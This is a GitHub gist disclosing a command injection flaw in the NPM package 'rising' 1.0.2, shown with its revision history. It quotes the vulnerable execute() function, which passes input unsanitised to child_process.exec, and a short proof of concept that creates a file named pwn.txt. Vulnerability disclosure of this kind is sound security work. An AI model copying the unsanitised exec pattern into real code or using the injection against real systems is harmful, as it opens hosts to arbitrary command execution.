Skip to content

Instantly share code, notes, and snippets.

@Splint3r7
Last active November 11, 2023 14:16
Show Gist options
  • Save Splint3r7/63586940c4d313389c8f1ca1b00cd9bf to your computer and use it in GitHub Desktop.
Save Splint3r7/63586940c4d313389c8f1ca1b00cd9bf to your computer and use it in GitHub Desktop.

Revisions

  1. Splint3r7 revised this gist Nov 11, 2023. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion rising-1.0.2-command-injection.md
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    # Command Injection Vulnerability in Rising 1.0.2

    Command injection vulnerability was indented in NPM package rising version 1.0.2
    Command injection vulnerability was identified in NPM package rising version 1.0.2

    Resources:

  2. Splint3r7 created this gist Nov 11, 2023.
    45 changes: 45 additions & 0 deletions rising-1.0.2-command-injection.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,45 @@
    # Command Injection Vulnerability in Rising 1.0.2

    Command injection vulnerability was indented in NPM package rising version 1.0.2

    Resources:

    * Project's NPM Package: https://www.npmjs.com/package/rising
    * Project's NPM JS registery: https://registry.npmjs.org/rising

    ## Code Analysis Background

    `child_process` has been utilized in the plugin to execute the command. A user input has been used which is not being sanitized, which allows an attacker to perform command injection through rising package.

    below is the code snippet that executes command without sanitizing it.

    ```
    const child_process = require('child_process')
    // other code
    /**
    * Execute a (shell) command.
    *
    * @param String cmd Your command.
    */
    function execute(cmd) {
    child_process.exec(cmd)
    }
    ```

    ## Exploitation:

    POC:

    ```
    const rising = require('./index.js');
    rising.println('Hello, world!');
    rising.execute('touch pwn.txt');
    ```

    Observer a new file pwn.txt will be created in the same directory.

    # Author

    Hassan Khan Yusufzai